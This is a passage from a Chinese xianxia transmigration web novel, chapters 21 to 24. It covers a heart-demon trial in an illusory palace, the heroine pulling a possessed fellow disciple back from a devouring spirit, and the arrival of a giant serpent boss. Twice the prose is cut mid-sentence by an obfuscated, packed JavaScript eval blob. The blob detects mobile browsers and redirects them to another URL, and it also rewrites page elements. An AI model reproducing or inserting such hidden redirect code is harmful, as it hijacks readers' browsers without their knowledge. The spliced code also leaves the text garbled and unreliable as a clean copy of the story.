就在众人猜测之际，燃烧的火焰忽地消散了，如同被风吹走的云雾，没有再宫殿内留下一丝一毫的痕迹。 那些本该被烧成焦尸的人们仍在地上虔诚跪拜，仿佛化作了雕像。祭台上的少女仰望着天空，等待着下一场火焰的到来。 这是一出无尽循环的幻境。 在何向悠和杜泽良的带领下，众人小心翼翼地踏入宫殿，穿梭在跪拜的人群之间，慢慢靠近正中央的祭台。 这个过程中，对于这些闯入的外来者，玉华宫内的“幻影”们无动于衷，也没有任何异样发生。 众人也稍稍放下了防备，认真观察此地。有人询问这究竟是什么地方，其他的人面面相觑，都不了解。 一个伏幽派的弟子猜测道：“焕山那边类似的山市传闻，太阴城许之隔得这么近，这里说不定也是什么鬼祟搞的。” 这句话提醒了常栩。 她的脑中灵光一闪，萦绕心头的那股若有若无的熟悉感一下子解开了——当初为了离开山市，宣凌曾带她一起闯入城门，眼前这座玉华宫，曾在那个时候在她的眼前一闪而过！ 想通之后，常栩下意识地看向宣凌和岳婉吟，险些要找他们确认，又想到自己此时并非“裳儿”，生生忍了下来。 队伍的最前方，几个散修试图登上祭台，被伏幽谷的赵不凡阻止，他警告道：“诸位且慢，先不要过去，说不定会有危险。” 散修们却不信邪，纷纷道：“能有什么危险？也就只是一些唬人的幻境而已。这里的人早就死了几百年了，还能做什么？” “对啊，我说赵长老，来之前我们可是说好了，这太阴城中的东西，谁先找到就是谁的，难道你要破坏规矩？” 赵不凡一向对这群短视的散修没什么好感，听他们如此出言不逊，厌恶之色更甚。 寄浮散人记着赵不凡帮常栩说话的仇，也不理会他，径直与同伴一起跃上祭台。果不其然，这座古老的祭台之上摆放着好几样法器。 散修们面露喜色，只道是没白来这一遭。 寄浮散人高兴于自己的远见，颇为得意地看了一眼祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362911|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台之下的众人，觉得他们都是一群胆小之辈。 “诸位，怎么样？我就说没危险吧？” 为了彰显威风，寄浮散人拔出剑，朝着祭台中央的少女砍过去。 然而，这柄剑非但没有驱散这道“鬼影”，反倒在接触的时候被一股看不见的力量挡住，紧接着，剑身一寸一寸融化了。 寄浮散人大惊。他反应极快，后退的同时还不忘推了一把身边的散修。 那名散修猝不及防地先前几步，与鬼影四目相对，想要抽身，手臂却已经被牢牢抓住了。 本该是幻影的少女在这一瞬间成为了实体，对着众人盈盈一笑：“可算来了。我等你好久了。” 她的手上亮起幽蓝火焰。 被触碰到的散修身上燃烧起来，发出惨叫。旁边的人尝试将他拉走，却在触碰到他以后，将那火焰一同引到了自己身上。 不过弹指之间，两个散修就被一同烧成了焦尸。 祭台之下的众人还来不及上前查探，地上跪拜的其他幻影得到感应，同时被唤醒。 何向悠、杜泽良、赵不凡、庚微几人对视一眼，他们在这一瞬间达成共识，一同飞上祭台，招式齐发，直奔少女而去。 出乎意料的是，少女的幻影没有任何反抗，在他们的攻击之下很快消散。 其他的幻影们也没了动作，这让众人一时之间有些茫然——他们如临大敌，这些东西却不堪一击。 “不对！” 赵不凡敏锐地唤出罗盘，念诵咒语。在灵力的运转下，指针缓缓移动，最终指向了苍华弟子所在的方向。 准确来说，罗盘指向了躲在众人背后、始终沉默的江霓身上。 “江霓？” 陆小满急切地呼唤，却没有得到回应。本该怯弱的圆脸少女剥开脸侧的乱发，莞尔一笑。 她的双手猛地钳制住站在两侧的韩尚同和岳婉吟，拉着他们原地消失。 随后，玉华宫的场景发生变化。 常栩看到身边的人陆续被红色的光芒包围，渐渐消失，知道这个副本真正的考验——心魔阵试炼开始了。 走马灯一般纷乱的记忆中，常栩成为了幼年的许长生。 尚在牙牙学语、抓着娘亲手指的女孩，似乎生来就与众不同，总被一群奇怪装束的人围着，说些听不懂的话。 有一天，一个衣着贵气的公子牵起她的手，对她说：“不要怕，有我在。” 不知过了多久，许雁逃命似的带许长生离开家乡，来到一处山谷，跪在了少年谢千景面前。 “我希望你能收她为徒，希望她能在你的庇护下一生顺遂。” 许雁将许长生托付给了谢千景，自己独自离开了。再次回来，却是失魂落魄，她说族人抛弃了她，她回不去了。 许长生知道，为了送她出来，娘亲回不去家了。 她想要成为娘亲的依靠，可是没有用，许雁还是日渐消瘦，临死之前也没握她的手，而是朝着虚空，至死都在望着家的方向。 许长生恨自己的无能无力，拖累了娘亲，甚至恨谢千景收下了她。 她仿佛入了魔障，守在许雁的墓旁，在谢千景带她离开的时候拼命挣扎，咬在他的虎口，留下了鲜血淋漓的牙印。 而谢千景只是轻轻抱住她，对她说：“莫怕，莫怕。” 自此之后，许长生拼了命修炼，不允许自己输给任何人，一直咬着牙——直到，遇见了韩尚同和宣凌。 再次睁开眼睛，常栩回到了昀秀峰，亲眼看到红衣的许长生在吐血之后倒下。 随即，她意识到了，这正是自己穿越而来的那天。 许长生那充斥着不甘、愤恨的人生，在这一刻戛然而止。 常栩走到床前，俯视着这张熟悉又陌生的脸。 忽地，许长生睁开眼睛，伸手抓住了她的衣袖，恨声道：“将我的身体还给我！” 22. 第二十二章 心魔 床榻上的许长生仰起头，漆黑的眼睛直勾勾地盯着常栩。 这张脸并不陌生，这段时间，常栩已在镜子中见过很多次，却从未有现在这般，怨气纵横，沾染着刻骨的恨。 系统提示：【请宿主尽快远离。此为心魔，并非真正的许长生。】 常栩并没有动。她想，若是真的能轻易远离，又何以成为心魔呢？ 面前的许长生宛如从地狱中爬出的厉鬼，来向她这个鸠占鹊巢之人索命。而她终究没有办法后退一步，任由对方伸出手，不断地拉扯自己。 “还给我……还给我……” 仿佛咒语一般不断重复的话语，如同锁链一般紧紧缠绕住常栩，让她动弹不得。 她感觉到手脚发凉，仿佛灵魂真的被从这具身体中驱赶出去。 随着接触的时间愈长，染着血色的黑气渐渐浮现，一点一点环绕在常栩的周围。恍惚之际，许长生的脸上闪过了一丝不易察觉的笑意。 【警告！如果宿主让出身体，将再也无法出去！请尽快离开！】 系统难得有些慌了，第二次发出提醒。 沉默良久的常栩终于开口，她低低叹了一口气，似乎有些失望，问道：“你没有别的想对我说吗？” 或许是因为她的目光太过平和，脸上不见恐慌、更无愧悔，这让许长生有些愣住了。 “那就换我对你说吧。” 常栩微微一笑，俯下身，细细剥开许长生脸上凌乱的长发，毫无避让的直视那双满是戾气的眼睛，认真地说：“该放下了。” “我知道，你只是害怕而已。你恐惧于弱小的宿命，不想被人看不起，更怕重蹈母亲的覆辙。所以拼了命的横冲直撞，直到让自己遍体鳞伤，仍不罢休。” “可是长生，这样的执念蒙蔽了你的双眼，让你为了强大而不择手段，以至于走上这一条不归之路。” 常栩抚摸着许长生的眉眼，从少女的眼中看见了如出一辙的自己，一时竟然分不清，她究竟在对谁说话。 “我没办法改变你的死亡。但是，我会代替你直面所有你所逃避的恐惧，不为他们所扰、专注走自己脚下的路。这才是你真正渴求的，不是吗？” 长久的沉默过后，系统说：【宿主，你面前的只是一个幻影而已，原本的许长生早已消亡，不存于世了。】 常栩缓缓道：“我知道。正因如此，我才会对她说这些话。” 许长生虽然不在人世，却一直在她的心里，如幽灵一般萦绕不去。终究是该做一个了断。 “我……不甘心……” 许长生的眼中流下泪水，沾湿衣襟，抓着常栩的手指却慢慢松开了。 早已不存的幻影留下了真假难辨的呓语，随即如云雾般消散，化为一声叹息，彻底离开了常栩的世界。 周围的场景慢慢淡去，常栩拂袖，轻而易举地甩掉了环绕的黑气。 既是心魔阵，当心魔不存，里面的一切自然瓦解。 然而，幻境破碎之后，常栩却没有马上回到现实世界，而是听到了“许长生”的声音，语气却大不相同。 那声音说：“你这个自欺欺人的家伙，竟然利用我来减轻自己的愧疚感、理所当然地霸占别人的身体，真是阴险啊。” 常栩心中一动，扬眉道：“人家许长生都没说什么，你算什么东西也来置喙？我还没怪你擅自窥探别人内心呢，你这个偷窥狂、阴暗老鼠，只敢顶着别人的声音，莫非见不得人？” 那东西显然气坏了，声音变得非男非女、飘忽不定，似乎又有些疑惑。 “可恶、我竟然看不透你！你是什么人，竟然知晓我的存在，提前做了准备，真是胜之不武！” 常栩笑道：“你不知道的事情还多着呢，怎么，需不需要我指导你几句？” “别高兴的太早。”那声音哼了一声，阴森笑道：你最在意的那个人可没你这般好运来，我看你还能笑到几时！” 听到这句话，常栩还来不及问，就感觉一阵风迎面而来。她感觉脸上一痛，眼睛猛地睁开。 她回到了玉华宫内。 常栩缓缓坐起身，用手摸了摸脸颊，再三确定，自己刚才确实被某个东西打了一巴掌！ 反应过来之后，她气冲冲地问系统：“不行，忍不了，刚才那个是什么东西？有没有办法能让我打回去！” 系统：【……】 还是第一次见有人与阵法较劲。 这一场试炼不知过了多久，太阴城内竟然出现了些许月光，让常栩得以看清此刻的情况—— 庚微和几名弟子正打坐疗伤，韩尚同和岳婉吟在树下交谈，看样子已经闯过情人阵了，偶尔交叠的目光流露出动人的柔情。 “江霓”则被五花大绑困在阵法之中，陆小满在旁边用树枝戳她的脸，问她是什么人，威胁她把小丫头还回来。 “师姐！” 见常栩走出了幻境，在场的苍华派弟子纷纷围过来。 陆小满欣喜道：“你可算醒了！那女人说你会死在里面，我已经帮你教训过她了！” 沈惊才关切问道：“您感觉如何？” 常栩摆了摆手说无碍，环顾一周，顿了下，问道：“宣凌呢？你们有人看到吗？” 几个人面面相觑，缓缓摇了摇头。 庚微道：“宣凌还陷在阵法之内，未曾醒来。” 常栩想到方才在心魔阵中听到的嘲讽，不顾劝阻强行起身，拖着尚未恢复元气的身体四处寻找。 片刻之后，她在一处角落看到了断成两半的虚名剑。 唯独不见宣凌的身影。 不对，不对。 按照原著，宣凌应该要比许长生还要早回来才对！ 常栩心知定然出了意外。 系统：【请宿主注意，半个时辰之内，如果宣凌还未出现，您的任务将宣告失败。】 任务失败…… 也就是说，宣凌可能会死在心魔阵里。 这本来是常栩穿越之初曾经期许过的事情，如今近在眼前，她却只觉心情沉重。 陆小满宽慰道：“师姐，你别担心了，我看那宣凌有些本事，应该不会被那些幻境困住。可能是去做别的事了，我再陪你找找。” 被绑在地上的“江霓”冷笑一声，似乎在嘲笑她的异想天开。 常栩的目光落在她身上，直截了当地问：“要怎么找到他？” 听出她的意思，苍华派众人都吃了一惊。庚微不赞同道：“那太危险。长生，别忘了掌门的叮嘱，你不能再涉险了。” 常栩不说话，只盯着“江霓”，再次问道：“若是我也一起死在里面，不是正如你所愿吗？告诉我，要怎么进入阵法。” “江霓”沉默了一会儿，看向常栩手中的断剑，幽幽道：“入梦术。” 韩尚同主动道：“师姐，我随你一起去！” 常栩指着“江霓”说：“这里只有你能制住她。看好她，才是你现在的任务。别做多余的事情。” 说罢，常栩来到发现断剑的地方，毫不犹豫地运转入梦术，进入宣凌的心魔阵。 入目即是一片血红。 这是一处晦暗的山巅，背景是不断掠过雷鸣的暗红天际，苍蓝的月亮悬挂其间，昭示着此地并非人界，而是魔界。 或者说，是宣凌想象中的魔界，弥漫着危险的肃杀之气。 在这片血红的天地间，看不到宣凌的身影，仿佛只有常栩一个人。 她的心猛地一沉。 宣凌并未苏醒，如果在心魔阵中野找不到他，那么就只有一种可能——他的灵识已经被心魔吞噬了。 常栩一边安慰自己，宣凌身为男二，未来的大魔头，怎么可能这么轻易下线？ 一边又忍不住想，宣凌的魔抗似乎一直都很低，之前在山市就被影响过，这次难保不会…… 时间紧迫，常栩心中忧虑，也顾不得维持形象了，焦急地高声呼唤宣凌的名字。 清脆的声音在空旷的山间回荡。 仿佛有所感应一般，忽地，常栩眼前的景象发生变化。 山路渐开、林木斗转，一条道路出现在她的脚下，似乎在指引她前往某个地方。 常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362912|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩稍微放下心来，既然幻境有反应，也就说明宣凌至少还有意识。 沿着这条道路走到尽头，她终于看见了宣凌。 滴落血雨的荒林之内，墨色衣袍的少年披散着长发，在惨白的月光中，投下了狭长额影子，宛如灯下鬼魅。 他的脚下横陈着几具血肉模糊的尸体，有两个头上有角，是明显的魔族特征，身上的衣着颇为华丽。 常栩猜测这应是宣凌的两位兄长，一个参与迫害他的父亲，一个为夺位而对他赶尽杀绝，顺理成章地成为了他想要报复的仇人。 至于第三具尸体…… 常栩瞥了一眼，露出了惨不忍睹的神情，用手扶额，十分佩服自己—— 原著许长生虐待了半本书才刷满的仇恨值，自己这才短短几天，似乎也大差不差了。 往好处想，这样看来，她在宣凌心中已经名列“必杀榜”前三，只要再接再厉，不怕到时候完成不了任务。 平复好心情之后，常栩深吸一口气，缓步走近。她怕宣凌杀得兴起，顺手给自己来一剑，小心戒备。 然而，出乎意料的是，宣凌似乎杀累了，看见她，黑沉沉的眼睛只是稍微动了一下，并没有什么别的反应，脸上的神情有漠然也有茫然。 他越过常栩，走到青石之上、那具唯一干净是尸体旁，轻轻道：“父亲，我回来了。” 常栩有些意外，忍不住凑过去打量。 这是个人族男子，眉目俊美如画，双目紧闭，虽然已经没了气息，看上去却仍如活着一般。 原来他就是宣凌的父亲。 常栩大致记得原著中提及的宣凌身世，并不复杂，一个简单的强取豪夺的故事——身份尊贵的人族公子离家远游，不幸遇到了隐匿身份的魔尊，被强行抓去了危冥山，最后抑郁而终。 “父亲，我为你报仇了。然后呢，我要做什么？你可以告诉我吗？” 宣凌茫然地跪在父亲的尸体边，试图向死去的父亲想要寻求一个答案。可是没人能告诉他，就连身为读者的常栩也不能—— 因为他没有结局，无从谈“然后”。 在小说前期，宣凌因受到女主感化而决心改邪归正，常栩也曾期待过他以后的人生。 可惜，在这部草草收尾的烂尾小说中，他只是一个匆匆的过客，为了推动剧情发展而注定走上那条充斥着杀戮的血腥道路，并于中途戛然而止，被男主封印在深渊之内。 想到此处，常栩久违地回忆起了看书之时对宣凌的同情与喜爱，不禁叹了一口气。 面前的宣凌，已经褪去了这一年来在苍华派伪装出的纯良，完全显露出魔族的面貌。 常栩却恍然发现，他的内心竟是这般寂寥，以至于在“大仇得报”之后，被心魔所迷惑，全无挣扎着站起了力气，看上去十分茫然。 浑身是血的少年既不尖锐、也不凶狠，反而像是个孩子蜷缩在父亲身边。 可他的父亲已经是一具冰冷的尸体了。 宣凌忽然吃吃笑了，轻声道：“父亲，我来陪您好不好？魔渊太冷了，我不喜欢，命也不想要了。” 听了这话，常栩心中警铃大作，想都不想地落在宣凌身前，按住那双滴血的手，生怕他一个想不开真做出什么。 这个心魔阵本就凶险万分，他要是真在幻境中自杀，那可就决定死透透了！ “宣凌，醒一醒！别做傻事！” 常栩大声呼唤，同时用力摇晃，想让宣凌恢复神识。 可面前之人仿佛木偶，根本不为所动。 这个时候，一个声音从天边传来，带着挑衅似的得意：“我就知道你会来。告诉你，别白费力气了，他已经被我控制，你救不了他。” 常栩从这个声音中听出了熟悉的欠揍，知道同自己先前遇到的是一个东西。 宣凌陷入这般境地，也是拜它所赐。 “你到底是什么？”她沉声问道。 那个声音倒也不隐瞒：“哼哼，那你就听好了——我，就是噬灵。” 常栩：“……” 这又是从哪儿冒出来的东西？ 23. 第二十三章 爱与恨 噬灵是太阴城副本中的一个小角色，寄于心魔而生，专门吞噬宿主的心智。 按原著剧情，此刻它本该在韩尚同那边作祟，却因为常栩的介入而被吸引，转而盯上了她身边的宣凌。 常栩：“……” 又是她的锅？ 转念间，常栩意识事态的严重性——宣凌这小子的神识的神识本就脆弱，先前连鬼新郎都能让他中招，如今遇上专攻心神的噬灵，只怕凶多吉少！ 噬灵果然打着这个算盘，得意洋洋道：“没想到太阴城里竟藏着个魔族，真是天助我也！本想着既然吃不到你，拿他凑数也不错，谁知你竟自投罗网，哈哈哈，那就都留下吧！” 话音未落，仿佛刻意恐吓一般，常栩身后的山路骤然崩塌，尽数没入黑暗，阻隔了她的去路。 此刻宣凌正被心魔侵扰，噬灵的力量也随之加强，显然，它打算将常栩一并困死在这里。 顾不得自身安危，常栩明白当务之急是唤醒宣凌。可她的呼喊仿佛被无形屏障阻隔，明明近在咫尺，却传不进对方耳中。 一旁的噬灵见状，桀桀笑道：“哈哈哈，这小子果然是你在意的人！可惜啊，人家心里早有所属，根本没你的位置，你只能单相思了！” 这东西阴阳怪气的腔调实在令人火大， 常栩很不服气，暗自想道，什么叫没她的位置？“必杀榜”前三名呢，还不够重要吗！ 不对，她争这个干什么，又不是什么光彩事……话说这噬灵为啥这么八卦啊，难不成是憋太久了没人讲话？当好你的反派，别乱点鸳鸯谱！ 见常栩不为所动，噬灵又开始循循善诱：“你想救他对不对？不如我们做个交易，只要你让我寄居你的内心，我就放他一马。这可是千载难逢的机会，有了我的助力，你的修为必能更上一层楼！” 常栩一点也不信：“这么好？那你为何沦落到坑蒙拐骗的地步？” 噬灵觉得她不识货，不爽地说：“还不是因为人魔大战，我被遗留在了人界，这里的人太弱了，完全无法让我发挥实力！” 话锋一转，它继续鼓动：“可你不一样！我能感觉到，你的内心藏着惊天秘密，就连我都无法窥探一二。只要你让我了解你，我就将力量借给你，我还可以帮助你对付太阴城内的怪物——否则，就凭你们的实力，绝无胜算。” 常栩听出来了，原来这东西只知道自己不是许长生，却未发现自己穿越者的身份。这让她稍微放心了些。 “那就走着瞧。” 她不予理会，继续尝试叫醒宣凌。 说了这么多还没有效果，噬灵被泼了一盆冷水，焦急道：“你还没明白吗？现在只有我能帮你！只要你接纳我，我马上就放了宣凌，怎么样？” 它的态度软了下来，多了几分商量和乞求。不难看出，常栩特殊的身份让十分感兴趣，宁愿放弃到嘴边的宣凌也要达成交易。 常栩依然不为所动。她捧起宣凌的脸，让他直视自己，坚定道：“宣凌，看清楚我是谁？我可是你的仇人，我还活着，你不想杀我吗？” 听到了“仇人”二字，宣凌空洞的目光终于找到支点，盯着面前的女子，缓缓道：“……师姐？” 呼唤总算得到回应，常栩眼睛一亮，继续努力：“没错，就是我！宣凌，你还有很多事情没做，绝不能死在这里！” 宣凌微微转过头，看了眼地上的尸体，疑惑道：“奇怪，我不是已经杀了你吗？” 常栩：“……难道你的人生目标就只是杀我吗？可不能这样！你再好好想想，除了杀人，这世上还有多少风景你没见过？你要踏遍大江南北，结识形形色色的人，还有媳妇要娶——” 她脑子中灵光一闪，突然想起岳婉吟！这种“男二深陷危险”的关键时候，要想小宇宙爆发，当然需要女主角了！ “宣凌，你听好了，你的心上人就在外面等着呢，千万不能放弃！” 宣凌怔住，有些不解：“心上人……什么是，心上人？” 魔界的果然语文教育不合格！ 饶是生死关头，常栩还是忍不住吐槽一句。 她只好化身知心导师，用心科普：“心上人，就是那个你想时刻与她在一起，做什么都不会腻的人！是你无论何时都想见到的人！是纵使沧海桑田、过了一万年，也绝不后悔相遇的人！宣凌，你你心中肯定有这样的人对不对？快想起来！” “想见的人……” 听到常栩的一字一句，宣凌的手指轻抚腕间看不见的红绳，语气中带上了些许缱绻。 “没错，我有想见的人。还有她在等我。” 伴随这句话，宣凌原本虚无的瞳孔重新掠过神采，终于恢复了清明。 这一切发生在转瞬之间，待到噬灵反应过来，已经无法继续干扰宣凌的心神了。 噬灵的声音变得尖锐：“可恶！你又做了什么！” 半空中一股阴风骤起，直奔常栩而来。好在她早有准备，拉着宣凌侧身避开，哼道：“卑鄙的东西，还想第二次偷袭我？看我一会儿把你揪出来踩在脚下！” 眼看煮熟的鸭子飞了，噬灵的声音气急败坏：“可恶！我一定会回来的！” 赤色世界的血雨终于停息，幽蓝的月亮渐渐变成圆满的玉盘，恍然重返人间。 周围场景急速褪色，一阵白光过后，常栩的眼前出现了熟悉的庭院——她又来到了永川镇。 不安的气息已然随噬灵的离去而消散，取而代之的是水一样的平和。 常栩稍松了口气，猜想这可能是宣凌破除心魔后，内心深处渴望的具象化。 她好奇地扒着门缝张望，想看看宣凌的美梦里都有谁。 不出意外的，她看到了岳婉吟，正在树下垂首抚琴。 常栩以为这是宣凌抱得美人归的妄想，正要感叹男二注定单相思的宿命，却见岳婉吟身旁还站着韩尚同，二人琴瑟和鸣，宛如做了夫妻一般……嗯？ 这真的是宣凌的美梦吗？ 常栩满腹狐疑。 庭院的另一侧，陆小满和沈星河二人正在练剑。许长生负手而立，虽言辞严厉，手上的动作却很温柔，帮他们拂去尘埃，仿佛是个面冷心热的贴心好师姐。 宣凌就坐在不远处的石椅上，静静环顾院中的景象，神情若有所思。 也许连他自己都未曾料到，在他的内心深处，竟然可求着这般安静平和的人间喜乐。 常栩反应过来，这大概是宣凌心中对人界生活的期许吧。 她啧了一声，没想到宣凌看着冷心冷情，心底还挺单纯的，做梦都不忘带上苍华派众人。 忽然，宣凌目光扫过院门，与常栩有一瞬交汇。 下一刻，微风吹起檐下的风铃，房门“嘎吱”一声被从里面推开，宣凌的动作停了下来，转身凝望。 笑容明媚的少女端着茶水，朝着庭院中的众人走来。 院外的常栩透过门缝，瞥见这道熟悉的身影，欣慰地想，看来自己没白费功夫，宣凌在幻境之中还记得裳儿，这大腿算是抱稳了！ 听到她心声的系统欲言又止，最终选择了沉默不语。 心魔阵既已破除，这一幕的幻境也转瞬即逝。常栩很快感受到外界的拉扯，身影慢慢从庭院外淡去。 院中的场景也在一点一点消弭，韩尚同和岳婉吟等人相继散去，树下的桌子旁，只剩下宣凌和裳儿。 似乎是察觉到对方即将消失，宣凌伸出手，将裳儿挽入怀中。 少女并未挣扎，反而露出了羞怯的神情，软软地环抱住他的肩膀。 在听到耳边轻柔的“相公”二字之时，宣凌的眼中闪过一抹暗红。 随后，白色的光芒彻底覆盖了虚假的幻境，只有手上似还残留着柔软的温度。 宣凌缓缓合上双手。 玉华宫内，眼看半个时辰即将过去，阵法中的二人还未出来，除了一 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来不及弄清楚怎么回事，系统那头马不停蹄地传来通报：【恭喜宿主！您的救人行为赢得了广泛赞美，威望值＋50！请注意查收！】 常栩：“……” 这可不是什么好事，她只觉得脑瓜子嗡嗡的，意识自己情急之下的救人举动，似乎、好像、可能……导致ooc了？ 常栩赶紧松开宣凌爬起来，欲盖弥彰地补救，勒令所有人都不得外传她救人之事。 韩尚同深知这位师姐最是在意面子，不喜被人揣测心思，只当她是在害羞，与岳婉吟相视一笑，心照不宣地应下。陆小满和沈星河各有心思，自然言听计从。 苍华派短暂的危机过去了，太阴城的灾难却还未彻底解除。 常栩收敛心神平静下来，很快从庚微那里得知，虽然已经制服了附身在江霓身上的女鬼，但城中异象未消。 玉华宫的上空，似乎有什么东西在慢慢苏醒，所有人都严阵以待。 常栩点了点头，并不慌乱。 到了此时，太阴城副本已经接近尾声，最后一关，该是身为主角的韩尚同的任务，与他们这群配角关系不大。 另一边，经过短暂的治疗，宣凌也已经苏醒。 见常栩的目光看过来，他抿了抿嘴，拾起断裂的佩剑，道：“师姐，是宣凌无能，有负师姐的期望。” 又开始装了。 常栩在心里腹谤，这黑莲花才刚脱离危险，就开始和她演戏。 当她不知道吗？宣凌一直不喜许长生所增的剑，因其唤作“虚名”，有指桑骂槐之意。此番折断，还真说不准几分是意外，几分是有意为之。 不过，对于常栩而言，这都是细枝末节的小事，她也没心思追究，摆摆手表示无妨。 相比之下，她更担心自己在幻境中的关心则乱被宣凌察觉，便试探性地询问他都经历了什么。 宣凌自然不会说实话，避重就轻，只说做了一场噩梦和一场美梦。 从神情来看，他应当不记得“许长生”相关记忆，这让常栩安心了不少。 宣凌看了一眼常栩，不知为何，他心中的恨意似乎淡了几分。 陆小满正在“江霓”身边，远远瞧见常栩和宣凌的交谈，急得想冲过去，被看在眼里的“江霓”一顿嘲讽，说她被师姐抛弃了。 这句话戳中了陆小满的痛处，她气得站起来踢了对方一脚。 谁料“江霓”早有准备，趁机向后翻滚，脱离了阵法的束缚，原本紧紧缠绕的绳索也被解开。 陆小满心知不妙，连忙退后几步，大声呼叫让所有人注意。 同一时刻，天空传来轰隆的声音，一个庞然大物覆盖了整个太阴城。 “这是什么？！” 人群之中惊呼四起。 常栩心里默默回答：上古神兽，蜃。 正是太阴城副本的最终boss。 24. 第二十四章 蜃 距离众人踏入太阴城已经超过了十个时辰，头顶的夜色却始终漆黑，让人分不清今夕何夕。 直到轰鸣的雷声映透天际，涌动的“层云”泛出粼粼银光，狂风卷起四散的长毛，众人才终于看清—— 竟是巨大的蛇形生物牢牢覆盖在了太阴城的上空，始终注视着他们的一举一动。 短暂的惊愕过后，何向悠、叶长秋、杜泽良等人腾跃而起，飞至半空，尝试同上方不知名的怪物交谈。 然而话还未出口，黑云中垂下的尾翼毫不留情地扫向他们。 这一招式迅猛而强烈，饶是修为深厚之人也无从抵挡，才一夕之间，便陆续从空中坠下，勉强稳住身形。 就连他们都招架不足，其余的弟子们更是不堪一击。 怪物的攻击携带凌冽的风，呼啸着充斥了整个玉华宫，其中还夹杂着似真似幻的低语。 在场修为稍弱者不堪其扰，陆续不受控制地跪下，一些伤势未愈之人则纷纷吐血。 待到银白鳞片覆体的巨大尾翼收拢回云间，嚎叫的狂风停歇，玉华宫内原本站立的人群仅余十之一二。 剩下的人即便站立，也都或多或少受了不轻的内伤，只有一个人毫发无损。 “前辈，还请手下留情！” 混乱之中，韩尚同顶着强大的威压，高声喊道。 “哦？”雷鸣般的声音隐隐传来，似乎有些意外，“汝手中所持何物？” 韩尚同举起令牌，不卑不亢道：“晚生韩尚同，侥幸在幻境之中得此令牌，承蒙庇护，特此归还！求前辈网开一面！” 令牌化作一道闪光飞向天际。 片刻之后，蜃饶有兴趣地说：“汝想用此物换吾饶恕？可知凡有所求，皆有因果随身。汝既想做英雄，吾便给汝机会，且上前来，与吾一决。” “否则，太阴城尽灭。这是吾降临于此的宿命。” 蜃的声音清晰地传到每个人的耳中，所有人都被惊呆了，未曾料到，一个苍华派的弟子竟有如此奇遇，还被这等人物另眼相待。 此时，无论是天元宗还是青离宫，众人性命皆系于韩尚同之手，不由得屏住呼吸，注视着他的一举一动。 尤其是几名散修，本就在幻境之中受了重伤，现下更是气若游丝，再也顾不得身份，乞求韩尚同快些应允，救他们一命。 “韩公子……” 岳婉吟不由自主地开口轻唤，略显苍白的脸上满是忧色。 韩尚同看到她的目光，心头一暖，又看向苍华派诸人，亦是同样的担心。 唯有常栩神色平和，只对他微微点头，似是对他颇有信心。 韩尚同缓缓吐出一口气，郑重拜别众人，在各色目光的注视下跃身上天，没入乌黑云层。 少年的身影毫不迟疑，脊背挺直，尽显坚毅果敢。 各门派的修士看在眼中，无不暗自咋舌，心生钦佩。 有人想起这几日常栩的表现，也与传闻中的“草包暴君”并不十分相符，不由得对苍华派有了新的看法。 常栩听着周围人的窃窃私语，心想这可是男主待遇，boss战这种绝对高光肯定轮不到别人，咱们就在下面老老实实当观众就好了…… 对了，差点忘了。 目送韩尚同离开后，常栩转而不远处，那名阴恻恻注视他们的少女。 她站在屋檐之上，衣炔随风翻飞，仿佛随时要飘走一般。 那张原本怯懦的圆脸上满是刻骨的憎恨与怨念，轻声说道：“叛徒……都该死。” 说罢，便要对玉华宫内的众人动手。尚还站立的几个人忙挡在前面，提防她的举动。 见这女鬼阴魂不散，有人不满地喊道：“好不讲理！不过是遇见了负心男人，气不过杀了他便是，何必折磨自己呢？你自己想不开也就算了，竟然还要累及无辜，真是糊涂到死了！” “你说，我是为了男人？” 似是并不认同对方的话，女鬼的脸上浮现出古怪的表情，扯动嘴角，眼中却是一片迷茫。 “不然呢？”常栩紧盯着女鬼，问道，“你说我们是叛徒，那便说清楚，在你看来，我们的罪业是什么？你的恨，究竟是什么？” “需要我提醒你吗？太阴城传说中的怨女，应是只针对负心汉，但你却好像想将所有人赶尽杀绝，或者说——想让我们殉葬才对。” 常栩早该想到。 太阴城的城墙，正与她在鬼市所见一模一样，而按照岳婉吟所言，那座宫殿中走出的皇帝，来自名为“景”的王朝。 常栩冷不丁问道：“岳姑娘，五百年前，景王朝覆灭之际，可有驸马献城、公主殉国之举？” 岳婉吟愣了一下，很快反应过来，目光复杂地看向女鬼，一字一句地说：“莫非是……柔嘉公主？” 随着岳婉吟说出名字，女鬼如遭重击，抱头喃喃道：“柔嘉……柔嘉……我是，姬氏的……公主？” 死一般寂静的宫殿，随着女鬼的这句话而重新生发出新的幻境。 宫女太监打扮的人们乱作一团，慌乱地奔跑、躲藏，骚乱之中，很多人绝望地说着：“城破了！有人打开了城门！” “公主……只剩公主殿下了！她在、她在……” 很快，冲天的火光灼烧了整座宫殿，滚滚烟尘席卷了城池。 城门之上，彩衣少女随风起舞，仿佛危险的彩蝶，身影在火焰之中若隐若现。 残破的城门已被踏破，远道而来的兵士们在摇摇欲坠的城池前望而却步，却又被某种不可思议的力量牵引，痴痴地扑到火中，哀嚎着化为灰烬。 这是一幅人间炼狱的可怕图景，置身其中的每一个人，都能切身感受到附着在空气之中的、血海般深重的怨恨。 大火将息的最后，城门上的少女坠落而亡，扭曲的目光仰望黑红的天际，最后映出了这座城的名字——丰。正是景朝的首都。 